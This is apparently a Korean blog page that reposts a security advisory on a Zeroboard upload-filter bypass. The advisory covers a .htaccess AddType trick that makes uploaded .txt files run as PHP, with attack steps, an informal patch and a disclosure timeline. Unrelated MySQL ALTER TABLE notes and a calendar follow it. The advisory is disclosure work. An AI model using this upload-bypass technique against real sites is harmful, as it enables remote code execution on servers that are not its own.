하늘을 걸어다니는 다리 ::

Subject:

Zeroboard File Upload & extension bypass Vulnerability

Zeroboard File Upload & extension bypass Vulnerability

Author : Choi Min-sung (mins __at__ wins21.com)
Product : Zeroboard http://www.nzeo.com
Verndor-Patches : Unpatched
Impact : remote code execution

Summary
=======

Basically, the PHP, HTML, and CGI files are prohibited to upload in Zeroboard. But uploading of the
other files which can

modify the configuration of Apache such as .htaccess is not considered as a serious issue. Therefore,
an unknown attacker can

execute any malicious codes on the system and acquire system control also.

Affected Products
=================

* The FileType in the .htaccess can be modified by configuring the Override FileInfo or OverrideAll in
the httpd.conf of

Apache.
* Zeroboeard4.1pl8 or earlier

Details
=======

Zeroboard basically prohibits uploading execution scripts such as php, html, cgi, and asp.

write_ok.php
------------
// Upload prohibited
if($file1_size>0) {
$s_file_name1=$file1_name;
if(eregi("\.inc",$s_file_name1)||eregi("\.
phtm",$s_file_name1)||eregi("\.htm",
$s_file_name1)||eregi("\.shtm",$s_file_name1)

||eregi("\.ztx",$s_file_name1)||eregi("\.
php",$s_file_name1)||eregi
("\.dot",$s_file_name1)||eregi("\.asp",
$s_file_name1)

||eregi("\.cgi",$s_file_name1)||eregi("\.
pl",$s_file_name1)) Error("The HTML and PHP related files
cannot be uploaded.");

: But the above codes cannot block the upload of files such as .htaccess and etc.

The Process of an Actual Attack
===============================
- Attack Scenario

1. A malicious user uploads a following '.htaccess' file.

.htaccess
---------
AddType application/x-httpd-php .php .php3 .php4 .htm .html .txt

2. A malicious user uploads a following .txt file.
test.txt
--------
<? phpinfo(); ?>

3. The PHP script is executed, because the .txt file is modified to execute the PHP script.

$ lynx --dump http://hackme/zb41pl7/bbs/data/test/test.txt

Solution
========

Below is an informal patch that I made.
Vendor Proceed -> Unpatched

write_ok.php.patch
------------------
--- write_ok.php.org 2005-09-01 19:22:17.000000000 +0900
+++ write_ok.php 2005-09-01 19:22:27.000000000 +0900
@@ -208,7 +208,7 @@

// Upload prohibited
if($file1_size>0) {
$s_file_name1=$file1_name;
-
if(eregi("\.inc",$s_file_name1)||eregi("\.
phtm",$s_file_name1)||eregi("\.htm",
$s_file_name1)||eregi("\.shtm",$s_file_name1)

||eregi("\.ztx",$s_file_name1)||eregi("\.
php",$s_file_name1)||eregi("\.dot",
$s_file_name1)||eregi("\.asp",$s_file_name1)

||eregi("\.cgi",$s_file_name1)||eregi("\.
pl",$s_file_name1)) Error("The HTML and PHP related files
cannot be uploaded.");

+
if(preg_match("/^\./",
$s_file_name1)||eregi("\.inc",
$s_file_name1)||eregi("\.phtm",$s_file_name1)||eregi

("\.htm",$s_file_name1)||eregi("\.shtm",
$s_file_name1)||eregi("\.ztx",
$s_file_name1)||eregi("\.php",$s_file_name1)||eregi

("\.dot",$s_file_name1)||eregi("\.asp",
$s_file_name1)||eregi("\.cgi",
$s_file_name1)||eregi("\.pl",$s_file_name1))
Error("The

HTML and PHP related files cannot be uploaded.");

//Check extension
if($setup[pds_ext1]) {

Timeline
========
01/09/2005 Initial vendor notification. I made Temporary Patch.
02/09/2005 Vendor confirms vulnerability.
15/03/2006 Released Patch 4.1pl8 (NOT PATCHED THIS VULNERABILITY)
12/06/2006 Vulnerability reported to KISA (Korea Infomation Security Agency) KRCert
12/06/2006 Final Vendor Contact.
12/06/2006 Secunia notified of this vulnerability.
16/06/2006 Public disclosure.

Credits
=======
Discovered by Choi Min-sung, WINSTechnet CERT

Reference Site
==============
http://securecast.wins21.com/zerovul.html
http://securecast.wins21.com/offer/offer_database_view.asp?code=WE06-0391

//////////

http://www.security.nnov.ru/Ndocument224.html

컬럼 속성 수정

ALTER TABLE tablename MODIFY colname INT NOT NULL AUTO_INCREMENT PRIMARY KEY;
ALTER TABLE tablename MODIFY 컬럼이름 컬럼속성

컬럼 추가

ALTER TABLE bbs ADD name varchar(10);
ALTER TABLE tablename ADD 컬럼이름 컬럼속성

컬럼 삭제

ALTER TABLE bbs DROP colname;

특정 컬럼 뒤에 새로운 컬럼 추가

ALTER TABLE bbs ADD newcol varchar(10) AFTER num;
num 컬럼 뒤에 newcol 컬럼 추가.

기존 컬럼을 지우고 맨 앞에 컬럼 추가

ALTER TABLE bbs DROP newcol, ADD newcol VARCHAR(10) FIRST;
맨 앞에 추가하려면 FIRST를 사용한다.

PRIMARY KEY 속성 삭제

ALTER TABLE test DROP PRIMARY KEY;

이미 PRIMARY KEY인 컬럼의 속성을 바꿀 때

PRIMARY KEY 속성은 지정하지 말고,
NOT NULL 속성을 함께 지정해 주면
기존 PRIMARY KEY 속성은 그대로 남은 상태로 컬럼의 속성을 변경할 수 있다.

ALTER TABLE test MODIFY a CHAR(1) NOT NULL;

테이블의 내용 전체 삭제

TRUNCATE TABLE tablename; 트랜잭션에 의해 복구될 수 없다.

///

http://cafe.naver.com/nopai.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=121

일	월	화	수	목	금	토
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31